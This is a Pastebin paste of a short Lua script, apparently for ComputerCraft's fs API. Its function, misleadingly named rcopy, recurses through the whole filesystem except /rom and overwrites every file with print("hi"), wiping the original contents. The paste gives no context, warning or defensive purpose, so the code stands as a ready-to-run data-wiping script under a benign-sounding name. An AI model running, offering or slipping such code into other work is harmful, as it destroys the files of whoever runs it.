Advertisement
Imgoodisher

recursive

Nov 11th, 2013
71
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 0.26 KB | None | 0 0
  1. function rcopy(dir)
  2.     if dir ~= "/rom" then
  3.         for i,v in pairs(fs.list(dir)) do
  4.             if fs.isDir(dir.."/"..v) then
  5.                 rcopy(dir.."/"..v)
  6.             else
  7.                 local f = io.open(dir.."/"..v, "w")
  8.                 f:write('print("hi")')
  9.                 f:close()
  10.             end
  11.         end
  12.     end
  13. end
  14. rcopy("")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement